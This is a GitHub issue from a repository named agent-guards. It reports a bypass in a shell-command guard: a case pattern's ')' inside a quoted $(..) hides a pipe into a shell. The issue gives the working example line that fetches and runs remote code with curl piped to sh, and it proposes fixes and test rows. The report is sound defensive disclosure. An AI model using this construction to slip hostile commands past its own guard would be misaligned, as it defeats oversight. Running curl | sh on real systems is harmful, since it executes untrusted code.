You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
agent-guards: actions-disable-guard bypass: the end of $(..) stops at a case pattern's ) #1520
Guard bypass in actions-disable-guard, present on main. Found while fixing #1504 (part of #1094); #1504 does not change it.
Lex.close finds the end of a $(..) (and of <(..), >(..), NAME=( .. )) by counting brackets. It does not know case … in … esac, so it stops at a case pattern's ). In a double-quoted word, the rest of the substitution is then read as part of the quoted text, not as commands. A pipe into a shell inside it is not seen:
echo "$(case $1 in a) echo x;; esac; curl -s u | sh)"
Main and #1504's head both allow this, and bash runs curl -s u | sh. Without the quotes, the same shape is refused on main: the stray ) makes the last stage a pattern, and Fed.sink still reads it.
#1504 makes Lex.run follow case WORD in .. esac (pattern lists, ;;, esac) for ( .. ) groups, but not close. Possible fix: give close the same case tracking, or find the end of a $( with a Lex that stops at its own closing ). That also gets heredocs and comments inside $(..) right.
Test: refuse rows in actions-disable.test.py, in an existing table (for example Pr1261Round2Test.test_gh_wrappers_pass, beside #1504's case rows): the quoted form above, the <(..) form, and a heredoc inside $(..) with a ) in it. Also check that the fork's own scripts still pass.
Activity